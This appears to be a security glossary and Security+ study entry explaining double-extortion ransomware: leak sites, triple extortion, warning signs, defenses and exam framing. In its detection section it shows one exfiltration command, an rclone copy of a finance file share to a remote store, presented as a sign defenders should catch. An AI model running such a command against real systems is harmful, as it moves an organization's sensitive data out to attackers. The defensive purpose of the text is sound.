What is double extortion?
Double extortion is a ransomware tactic that adds a second threat to the first. Before encrypting anything, the attackers copy sensitive data out of the victim's network. The ransom note then makes two demands at once: pay for a decryptor to get systems back, and pay to keep the stolen data from being published. The Maze ransomware group popularized the approach in late 2019, and it soon became standard practice for major ransomware operations.
Why attackers added a second threat
Good backups weakened classic ransomware. A company that could restore from immutable or offline backups had little reason to buy a decryptor. Stolen data removes that escape route, because restoring systems does nothing about files sitting on the attacker's server. It also changes the nature of the incident. Encryption attacks availability; theft and publication attack confidentiality, which can bring breach notification duties, regulatory scrutiny, lawsuits and lost customer trust.
Leak sites and triple extortion
Most groups run a data leak site, usually reachable over Tor, that lists victims with a countdown timer and samples of stolen files as proof. If the deadline passes without payment, the group publishes the data or offers it for sale. Some groups push further, an escalation often called triple extortion:
- launching DDoS attacks against the victim's public services during negotiations
- contacting the victim's customers, patients, partners or journalists directly
- reporting the victim's undisclosed breach to regulators
Some operations skip encryption altogether and run data-theft extortion alone. In 2023 the Cl0p group exploited a SQL injection flaw in the MOVEit Transfer file transfer product to steal data from a large number of organizations and extort them without deploying ransomware.
What double extortion looks like before the note
The theft usually happens hours or days before encryption, and that gap is the window defenders can use. Typical signs are archive tools compressing file shares into large 7z or RAR files, cloud sync or transfer utilities appearing on servers that never used them, and heavy outbound transfers at night. An EDR process event like this one deserves immediate attention:
rclone.exe copy \\fs01\finance remote:backup --transfers 16 --max-age 2y
A file server pushing gigabytes to a cloud storage provider at 2 a.m. through a tool installed the day before is staging and exfiltration, not a backup job.
Defending against double extortion
- Data loss prevention and egress controls that flag or block bulk uploads to unapproved cloud storage
- Network monitoring for unusual outbound volume, especially from servers
- Data minimization, so less sensitive data is there to steal
- Immutable backups, which still solve the encryption half of the problem
- An incident response plan that brings in legal counsel, the cyber insurer and law enforcement early
Paying does not guarantee deletion. When law enforcement disrupted the LockBit operation in 2024, investigators reported finding data from victims who had paid to have it deleted.
Double extortion vs. related terms
- Ransomware: the malware that encrypts; double extortion is how modern groups use it.
- Data exfiltration: the theft itself; double extortion is the threat built on top of it.
- Doxxing: publishing personal details about individuals, usually a hacktivist tactic rather than a payment demand.
Double extortion on the CompTIA Security+ exam
In SY0-801, double extortion is taught as part of ransomware among the indicators of malicious activity in objective 2.5, with organized crime among the threat actors in objective 2.2, and with negotiation, which is an incident response phase in objective 4.7. A scenario in which the note mentions stolen files, a leak site or a publication deadline describes double extortion, and it means the incident is a data breach as well as an outage. The trap is picking "restore from backups" as the complete answer: backups fix availability, not the stolen data.